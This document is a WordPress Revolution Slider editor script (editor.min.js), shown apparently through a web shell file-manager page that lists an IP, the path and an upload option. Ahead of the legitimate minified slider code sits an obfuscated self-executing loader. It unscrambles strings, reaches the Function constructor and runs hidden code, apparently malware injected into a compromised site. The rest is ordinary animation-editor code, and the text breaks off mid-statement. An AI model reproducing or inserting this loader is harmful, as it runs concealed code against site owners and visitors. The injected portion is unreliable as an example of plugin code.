AlkantarClanX12

Your IP : 18.116.89.8


Current Path : /home/thanudqk/siamfreetour.com/wp-content/plugins/revslider/admin/assets/js/modules/
Upload File :
Current File : //home/thanudqk/siamfreetour.com/wp-content/plugins/revslider/admin/assets/js/modules/editor.min.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*!
 * REVOLUTION 6.0.0 EDITOR HELPINIT JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
window.HelpGuide={addOnsHelp:[],verifyObject:function(e){return e&&"object"==typeof e&&!Array.isArray(e)},add:function(e){HelpGuide.verifyObject(e)&&(HelpGuide.allHelpPaths?HelpGuide.extendHelpAddOns([e],!0):HelpGuide.addOnsHelp[HelpGuide.addOnsHelp.length]=e)},activate:function(e){HelpGuide.allHelpPaths&&HelpGuide.toggleHelpAddOn(e,!0)},deactivate:function(e){HelpGuide.allHelpPaths&&HelpGuide.toggleHelpAddOn(e)}},jQuery(function(){var e;jQuery(".help_wrap").one("click",function(e){jQuery.getScript(RVS.ENV.plugin_url+"admin/assets/js/modules/help.js")}),jQuery(".tooltip_wrap").on("click",function(){var t=jQuery(this).data("scriptready");e&&!t||(e?jQuery(document).trigger("start-tooltips"):jQuery.getScript(RVS.ENV.plugin_url+"admin/assets/js/modules/tooltip.js"),e=!0)}),window.RsTooltips=function(e,t,i){window.RsTooltipList=t,revSliderToolTips&&e&&jQuery(".tooltip_wrap").data("tooltip-definitions",i).trigger("click")}}),RVS.S.keyFrame="idle",RVS.S.frameTrgt="layer",RVS.V.frameLevels={levels:["mask","chars","words","lines","color","sfx"]},RVS.LIB.FONTS=[],RVS.CACHE=RVS.CACHE||{},RVS.S.layerPosWaitingToUpdate={},function(){var e,t,i,a,r,s,o,n=[];function l(e){var t=e.a.length>0?e.a[0]:e.v;for(var i in e.a)e.a.hasOwnProperty(i)&&(t=e.a[i]<e.v&&t<e.v?e.a[i]:t);return t}function d(e){var t=RVS.L[e.uid],i=-1!=t.group.puid?RVS.H[t.group.puid].w:RVS.C.layergrid;return{width:i.width(),height:i.height()}}function S(e){e.l=RVS.L[e.uid],e.v=e.l.size.width[RVS.screen].v,e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.H[e.uid].c.find("img").first().attr("src",e.src),e.src==RVS.ENV.img_ph_url?RVS.H[e.uid].c.addClass("placeholder_on"):RVS.H[e.uid].c.removeClass("placeholder_on"),e.ignoreBackup=!0,"video"!==e.l.type&&c(e),e.ignore&&RVS.DOC.trigger("restoreLayersSize"),RVS.F.drawHTMLLayer({uid:e.uid})}function c(e){switch(e.l.type){case"image":!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v,ignoreBackup:e.ignoreBackup}),t="auto"===(t="width"===e.direction?RVS.F.isNumeric(e.v)||!RVS.F.isNumeric(e.v)&&e.v.indexOf("px")>=0?Math.round(parseInt(e.v,0)/e.l.size.aspectRatio[RVS.screen].v):"auto":!RVS.F.isNumeric(e.v)&&e.v.indexOf("%")>=0?Math.round(d({uid:e.uid}).height*(parseInt(e.v,0)/100)*e.l.size.aspectRatio[RVS.screen].v):"auto"===e.v?e.v:Math.round(parseInt(e.v,0)*e.l.size.aspectRatio[RVS.screen].v))?t:t+"px",RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup});break;case"group":case"shape":var t="auto"===e.v?"100px":e.v;!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:t,ignoreBackup:e.ignoreBackup}),RVS.F.isNumeric(parseInt(t,0))&&(t="width"===e.direction?Math.round(parseInt(t,0)/e.l.size.aspectRatio[RVS.screen].v):Math.round(parseInt(t,0)*e.l.size.aspectRatio[RVS.screen].v),RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup}));break;case"video":!0!==e.ignore&&RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v,ignoreBackup:e.ignoreBackup});var i=e.l.media.ratio.split(":");i=i[0]/i[1],t="auto"===(t="width"===e.direction?RVS.F.isNumeric(e.v)||!RVS.F.isNumeric(e.v)&&e.v.indexOf("px")>=0?Math.round(parseInt(e.v,0)/i):"auto":!RVS.F.isNumeric(e.v)&&e.v.indexOf("%")>=0?Math.round(d({uid:e.uid}).height*(parseInt(e.v,0)/100)*i):"auto"===e.v?e.v:Math.round(parseInt(e.v,0)*i))?"width"===e.dirB?"100%":t:t+"px",RVS.F.updateSliderObj({path:e.pre+"size."+e.dirB+".#size#.v",val:t,ignoreBackup:e.ignoreBackup});break;case"svg":RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v})}}function p(e){jQuery("framewrap.selected").removeClass("selected").removeClass("selected_0");var t=document.getElementById(RVS.S.slideId+"_"+RVS.selLayers[0]+"_"+("frame_0"===RVS.S.keyFrame?"frame_1":RVS.S.keyFrame));null!=t&&void 0!==t&&(t.className+=" selected"+("frame_0"===RVS.S.keyFrame?" selected_0":""))}function u(e){for(var t in e)if(e.hasOwnProperty(t))if(jQuery.inArray(t,["chars","filter","color","bgcolor","words","lines","mask"])>=0&&!1===e[t].use&&delete e[t],"object"==typeof e[t])for(var i in e[t])"inherit"===e[t][i]&&delete e[t][i];else"inherit"===e[t]&&delete e[t];return e}function R(e,t,i){void 0!==e&&(void 0!==e.frame_0&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_0=v(jQuery.extend(!0,h({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),e.frame_0)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_0.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.alias=RVS_LANG.enterstage,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.preset=t,RVS.L[RVS.selLayers[0]].timeline.frames.frame_0.timeline.presetgroup=i)),void 0!==e.frame_1&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1=v(jQuery.extend(!0,h({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),e.frame_1)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_1.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.alias=RVS_LANG.onstage,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.preset=t,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.presetgroup=i)),void 0!==e.frame_999&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_999=v(jQuery.extend(!0,h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),e.frame_999)),RVS.L[RVS.selLayers[0]].timeline.frames.frame_999.timeline.start=RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_999.timeline.start,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.alias=RVS_LANG.leavestage,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.preset=t,RVS.L[RVS.selLayers[0]].timeline.frames.frame_1.timeline.presetgroup=i)),void 0!==e.loop&&(RVS.L[RVS.selLayers[0]].timeline.loop=jQuery.extend(!0,g(),e.loop),RVS.L[RVS.selLayers[0]].timeline.loop.start=RVS.L[RVS.selLayers[0]].timelinecache.loop.start,void 0!==i&&(RVS.L[RVS.selLayers[0]].timeline.loop.preset=t,RVS.L[RVS.selLayers[0]].timeline.loop.presetgroup=i)),clearTimeout(window.timelineTemporaryUpdate),window.timelineTemporaryUpdate=setTimeout(function(){RVS.F.updateLayerFrames({layerid:RVS.selLayers[0]})},50))}function V(e,t,i){switch(t){case"layerTextColorHover":case"layerTextColor":case"layerTextColorInFrame":case"frameColorAnimation":jQuery.inArray(RVS.L[e].type,["text","button"])>=0&&(void 0!==RVS.H[e].splitText?tpGS.gsap.to([RVS.H[e].c,RVS.H[e].splitText.chars,RVS.H[e].splitText.words,RVS.H[e].splitText.lines],.001,{color:i}):tpGS.gsap.to([RVS.H[e].c],.001,{color:i}));break;case"frameBGColorAnimation":case"frameBGColorAnimationDouble":case"layerBGColor":i.indexOf("gradient")>=0?tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{background:i}):void 0!==RVS.L[e].idle.backgroundImage?tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{backgroundImage:"url("+RVS.L[e].idle.backgroundImage+")",backgroundColor:i}):tpGS.gsap.to("column"===RVS.L[e].type?RVS.H[e].bg:RVS.H[e].c,.001,{background:i});break;case"layerBorderColor":tpGS.gsap.to([RVS.H[e].c],.001,{borderColor:i});break;case"layerSVGColor":"svg"===RVS.L[e].type&&tpGS.gsap.to([RVS.H[e].svgPath,RVS.H[e].svg],.001,{fill:i});break;case"layerStrokeColor":"svg"===RVS.L[e].type&&tpGS.gsap.to([RVS.H[e].svgPath,RVS.H[e].svg],.001,{stroke:i})}}function y(e,t,i,a,r,s){if(void 0!==t?window.lastColorEditjObj=t:void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),void 0!==i){for(var o in void 0!==t&&r&&t.val(a||i).change(),RVS.selLayers){if(RVS.selLayers.hasOwnProperty(o))V(n=RVS.selLayers[o],window.lastColorEditjObj[0].name,i)}if(s)for(var n in s.ref)if("layer"===s.ref[n].type&&s.ref[n].slide==RVS.S.slideId&&V(s.ref[n].layer,s.ref[n].inpname,i),"layer"===s.ref[n].type&&r)if(RVS.F.updateSliderObj({path:s.ref[n].r,val:i,slide:s.ref[n].slide}),s.ref[n].slide==RVS.S.slideId&&RVS.selLayers[0]==s.ref[n].layer){var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}else s.ref[n].slide!=RVS.S.slideId&&RVS.F.slideinWork(s.ref[n].slide);if(r||"colorcancel"===e.type)for(var n in RVS.selLayers)RVS.selLayers.hasOwnProperty(n)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[n]})}}function m(e,t,i){var a=t.indexOf("i")>=0,r=100*parseInt(t.replace(/[^0-9]/,""),0);for(var s in RVS.L)RVS.L.hasOwnProperty(s)&&("text"===RVS.L[s].type||"button"===RVS.L[s].type)&&RVS.L[s].idle.fontFamily==e&&(!a&&!RVS.L[s].idle.fontStyle||a&&RVS.L[s].idle.fontStyle)&&RVS.L[s].idle.fontWeight[RVS.screen].v==r&&RVS.F.drawHTMLLayer({uid:RVS.L[s].uid});setTimeout(function(){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&("text"===RVS.L[t].type||"button"===RVS.L[t].type)&&RVS.L[t].idle.fontFamily==e&&(!a&&!RVS.L[t].idle.fontStyle||a&&RVS.L[t].idle.fontStyle)&&RVS.L[t].idle.fontWeight[RVS.screen].v==r&&RVS.F.updateHTMLLayerPosition({uid:RVS.L[t].uid})},150)}function f(e,t){return null==e?t:e}function g(e){return(e=void 0===e?{}:e).frame_0=void 0===e.frame_0?{}:e.frame_0,e.frame_999=void 0===e.frame_999?{}:e.frame_999,{use:f(e.use,!1),ease:f(e.ease,"none"),speed:f(e.speed,1e3),originX:f(e.originX,"50%"),originY:f(e.originX,"50%"),radiusAngle:f(e.radiusAngle,0),curviness:f(e.curviness,2),curved:f(e.curved,!1),yoyo_move:f(e.yoyo_move,!1),yoyo_rotate:f(e.yoyo_rotate,!1),yoyo_scale:f(e.yoyo_scale,!1),yoyo_filter:f(e.yoyo_filter,!1),repeat:f(e.repeat,"-1"),start:f(e.start,300),autoRotate:f(e.autoRotate,!1),frame_0:{yr:f(e.frame_0.yr,0),zr:f(e.frame_0.zr,0),x:f(e.frame_0.x,0),y:f(e.frame_0.y,0),z:f(e.frame_0.z,0),scaleX:f(e.frame_0.scaleX,1),scaleY:f(e.frame_0.scaleY,1),opacity:f(e.frame_0.opacity,1),rotationX:f(e.frame_0.rotationX,0),rotationY:f(e.frame_0.rotationY,0),rotationZ:f(e.frame_0.rotationZ,0),skewX:f(e.frame_0.skewX,0),skewY:f(e.frame_0.skewY,0),blur:0,brightness:100,grayscale:0},frame_999:{xr:f(e.frame_999.xr,0),yr:f(e.frame_999.yr,0),zr:f(e.frame_999.zr,0),x:f(e.frame_999.x,0),y:f(e.frame_999.y,0),z:f(e.frame_999.z,0),scaleX:f(e.frame_999.scaleX,1),scaleY:f(e.frame_999.scaleY,1),opacity:f(e.frame_999.opacity,1),rotationX:f(e.frame_999.rotationX,0),rotationY:f(e.frame_999.rotationY,0),rotationZ:f(e.frame_999.rotationZ,0),skewX:f(e.frame_999.skewX,0),skewY:f(e.frame_999.skewY,0),blur:0,brightness:100,grayscale:0}}}function h(e,t){NRI="frame_0"===t?0:"frame_1"===t?1:2,(e=void 0===e?{}:e).chars=void 0===e.chars?{}:e.chars,e.words=void 0===e.words?{}:e.words,e.lines=void 0===e.lines?{}:e.lines,e.mask=void 0===e.mask?{}:e.mask,e.color=void 0===e.color?{}:e.color,e.bgcolor=void 0===e.bgcolor?{}:e.bgcolor;var i=f(e.grayscale,[0,0,0][NRI]),a=f(e.brightness,[100,100,100][NRI]),r=f(e.blur,[0,0,0][NRI]),s=0!==parseInt(i,0)||100!==parseInt(a,0)||0!==parseInt(r,0),o=f(e.bgrayscale,[0,0,0][NRI]),n=f(e.bbrightness,[100,100,100][NRI]),l=f(e.bblur,[0,0,0][NRI]),d=f(e.binvert,[0,0,0][NRI]),S=f(e.bsepia,[0,0,0][NRI]),c=0!==parseInt(o,0)||100!==parseInt(n,0)||0!==parseInt(l,0)||0!==parseInt(d,0)||0!==parseInt(S,0),p={alias:f(e.alias,RVS_LANG.onstage),filter:{use:s,grayscale:i,brightness:a,blur:r},bfilter:{use:c,grayscale:o,brightness:n,blur:l,sepia:S,invert:d},transform:{x:RVS.F.cToResp({default:f(e.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.y,[0,0,"inherit"][NRI])}),z:f(e.z,[0,0,"inherit"][NRI]),scaleX:f(e.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.opacity,[0,1,"inherit"][NRI]),rotationX:f(e.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.skewX,[0,0,"inherit"][NRI]),skewY:f(e.skewY,[0,0,"inherit"][NRI]),originX:f(e.originX,["50%","50%","50%"][NRI]),originY:f(e.originY,["50%","50%","50%"][NRI]),originZ:f(e.originZ,["0","0","0"][NRI]),transformPerspective:f(RVS.SLIDER.settings.general.perspective,["600px","600px","600px"][NRI]),clip:f(e.clip,[100,100,"inherit"][NRI]),clipB:f(e.clipB,[100,100,"inherit"][NRI])},reverseDirection:{x:f(e.rx,!1),y:f(e.ry,!1),rotationX:f(e.rrotationX,!1),rotationY:f(e.rrotationY,!1),rotationZ:f(e.rrotationZ,!1),skewX:f(e.rskewX,!1),skewY:f(e.rskewY,!1),maskX:f(e.rmaskX,!1),maskY:f(e.rmaskY,!1),charsX:f(e.crx,!1),charsY:f(e.cry,!1),charsDirection:f(e.crsd,!1),wordsX:f(e.wrx,!1),wordsY:f(e.wry,!1),wordsDirection:f(e.wrsd,!1),linesX:f(e.lrx,!1),linesY:f(e.lry,!1),linesDirection:f(e.lrsd,!1)},mask:{use:f(e.mask.use,!1),x:RVS.F.cToResp({default:f(e.mask.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.mask.y,[0,0,"inherit"][NRI])})},color:{color:f(e.color.color,"#ffffff"),use:f(e.color.use,!1)},bgcolor:{backgroundColor:f(e.bgcolor.backgroundColor,"transparent"),use:f(e.bgcolor.use,!1)},timeline:{actionTriggered:f(e.actionTriggered,!1),ease:f(e.ease,"power3.inOut"),speed:f(e.speed,300),start:f(e.start,0),startRelative:f(e.startRelative,0),endWithSlide:f(e.endWithSlide,!1)},chars:{ease:f(e.chars.ease,"inherit"),use:f(e.chars.use,!1),direction:f(e.chars.direction,"forward"),delay:f(e.chars.delay,5),x:RVS.F.cToResp({default:f(e.chars.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.chars.y,[0,0,"inherit"][NRI])}),z:f(e.chars.z,[0,0,"inherit"][NRI]),scaleX:f(e.chars.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.chars.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.chars.opacity,"inherit"),rotationX:f(e.chars.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.chars.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.chars.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.chars.skewX,[0,0,"inherit"][NRI]),skewY:f(e.chars.skewY,[0,0,"inherit"][NRI]),originX:f(e.chars.originX,["50%","50%","inherit"][NRI]),originY:f(e.chars.originY,["50%","50%","inherit"][NRI]),originZ:f(e.chars.originZ,["0","0","inherit"][NRI]),fuse:f(e.chars.fuse,!1),blur:f(e.chars.blur,[0,0,0][NRI]),grayscale:f(e.chars.grayscale,[0,0,0][NRI]),brightness:f(e.chars.brightness,[100,100,100][NRI])},words:{ease:f(e.words.ease,"inherit"),use:f(e.words.use,!1),direction:f(e.words.direction,"forward"),delay:f(e.words.delay,5),x:RVS.F.cToResp({default:f(e.words.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.words.y,[0,0,"inherit"][NRI])}),z:f(e.words.z,[0,0,"inherit"][NRI]),scaleX:f(e.words.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.words.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.words.opacity,"inherit"),rotationX:f(e.words.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.words.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.words.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.words.skewX,[0,0,"inherit"][NRI]),skewY:f(e.words.skewY,[0,0,"inherit"][NRI]),originX:f(e.words.originX,["50%","50%","inherit"][NRI]),originY:f(e.words.originY,["50%","50%","inherit"][NRI]),originZ:f(e.words.originY,["0","0","inherit"][NRI]),fuse:f(e.words.fuse,!1),blur:f(e.words.blur,[0,0,0][NRI]),grayscale:f(e.words.grayscale,[0,0,0][NRI]),brightness:f(e.words.brightness,[100,100,100][NRI])},lines:{ease:f(e.lines.ease,"inherit"),use:f(e.lines.use,!1),direction:f(e.lines.direction,"forward"),delay:f(e.lines.delay,5),x:RVS.F.cToResp({default:f(e.lines.x,[0,0,"inherit"][NRI])}),y:RVS.F.cToResp({default:f(e.lines.y,[0,0,"inherit"][NRI])}),z:f(e.lines.z,[0,0,"inherit"][NRI]),scaleX:f(e.lines.scaleX,[1,1,"inherit"][NRI]),scaleY:f(e.lines.scaleY,[1,1,"inherit"][NRI]),opacity:f(e.lines.opacity,"inherit"),rotationX:f(e.lines.rotationX,[0,0,"inherit"][NRI]),rotationY:f(e.lines.rotationY,[0,0,"inherit"][NRI]),rotationZ:f(e.lines.rotationZ,[0,0,"inherit"][NRI]),skewX:f(e.lines.skewX,[0,0,"inherit"][NRI]),skewY:f(e.lines.skewY,[0,0,"inherit"][NRI]),originX:f(e.lines.originX,["50%","50%","inherit"][NRI]),originY:f(e.lines.originY,["50%","50%","inherit"][NRI]),originZ:f(e.lines.originY,["0","0","inherit"][NRI]),fuse:f(e.lines.fuse,!1),blur:f(e.lines.blur,[0,0,0][NRI]),grayscale:f(e.lines.grayscale,[0,0,0][NRI]),brightness:f(e.lines.brightness,[100,100,100][NRI])},sfx:{effect:f(e.effect,""),color:f(e.sfxcolor,"#ffffff")}};for(var u in p.sfx.effect="blockfrombottom"===p.sfx.effect?"blocktotop":"blockfromtop"===p.sfx.effect?"blocktobottom":"blockfromleft"===p.sfx.effect?"blocktoright":"blockfromright"===p.sfx.effect?"blocktoleft":"none",RVS.JHOOKS.defaultFrame)RVS.JHOOKS.defaultFrame.hasOwnProperty(u)&&(p=RVS.JHOOKS.defaultFrame[u](p));return p}function v(e){return"object"!=typeof e.transform.x&&(e.transform.x=RVS.F.cToResp({default:f(e.transform.x,0)})),"object"!=typeof e.transform.y&&(e.transform.y=RVS.F.cToResp({default:f(e.transform.y,0)})),"object"!=typeof e.mask.x&&(e.mask.x=RVS.F.cToResp({default:f(e.mask.x,0)})),"object"!=typeof e.mask.y&&(e.mask.y=RVS.F.cToResp({default:f(e.mask.y,0)})),"object"!=typeof e.chars.x&&(e.chars.x=RVS.F.cToResp({default:f(e.chars.x,"inherit")})),"object"!=typeof e.chars.y&&(e.chars.y=RVS.F.cToResp({default:f(e.chars.y,"inherit")})),"object"!=typeof e.words.x&&(e.words.x=RVS.F.cToResp({default:f(e.words.x,"inherit")})),"object"!=typeof e.words.y&&(e.words.y=RVS.F.cToResp({default:f(e.words.y,"inherit")})),"object"!=typeof e.lines.x&&(e.lines.x=RVS.F.cToResp({default:f(e.lines.x,"inherit")})),"object"!=typeof e.lines.y&&(e.lines.y=RVS.F.cToResp({default:f(e.lines.y,"inherit")})),e}RVS.F.initLayerBuilder=function(){RVS.C.slit=document.getElementById("selected_layers_icon_toolbar"),RVS.ENV.video_ph_url=RVS.ENV.img_ph_url=RVS.ENV.plugin_url+"admin/assets/images/transparent_placeholder.png",function(){RVS.LIB.LAYERANIMS.animSettings=jQuery("#form_layer_animation_innerwrap");var e={in:"",out:"",loop:""};for(var t in RVS.LIB.LAYERANIMS)if(RVS.LIB.LAYERANIMS.hasOwnProperty(t)&&("in"===t||"out"===t||"loop"===t))for(var i in RVS.LIB.LAYERANIMS[t])if(RVS.LIB.LAYERANIMS[t].hasOwnProperty(i)){var a='<div id="lal_'+t+"_"+i+'" class="latransgroup '+(RVS.LIB.LAYERANIMS[t][i].custom?"custom_lainner_trans_"+i:"")+'"><div class="latransgroup_head"><span class="latransgroup_name">'+RVS.LIB.LAYERANIMS[t][i].group+'</span><div class="animation_drop_arrow"><i class="material-icons">arrow_drop_down</i></div></div><div class="lainner_transitions">';if(RVS.LIB.LAYERANIMS[t][i].custom)for(var r in a+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="custom" class="layer_trans_liste dark_btn"><span class="cla_custom_name">'+RVS_LANG.savecurrenttemplate+'</span><input type="text" value="custom" class="cla_entername"><div class="custom_layer_animation_toolbar"><i class="cla_answer_yes material-icons">done</i><i class="cla_answer_no material-icons">close</i><i class="add_custom_layeranimation material-icons">add</i></div></div>',RVS.LIB.LAYERANIMS[t][i].amount=1,RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(r)&&(RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex=void 0===RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex?RVS.LIB.LAYERANIMS[t][i].amount:RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex,a+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="'+r+'" class="layer_trans_liste dark_btn"><span class="cla_custom_name">'+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input type="text" value="'+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i class="cla_answer_yes material-icons">done</i><i class="cla_answer_no material-icons">close</i><i class="edit_custom_layeranimation material-icons">edit</i><i class="save_custom_layeranimation material-icons">save</i><i class="delete_custom_layeranimation material-icons">delete</i></div></div>',RVS.LIB.LAYERANIMS[t][i].amount=parseInt(RVS.LIB.LAYERANIMS[t][i].transitions[r].customindex,0)+1);else for(var r in RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(r)&&(a+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="'+r+'" class="layer_trans_liste dark_btn">'+RVS.LIB.LAYERANIMS[t][i].transitions[r].name+"</div>");a+="</div></div>",e[t]+=a}RVS.LIB.LAYERANIMS.translists={0:jQuery('<div 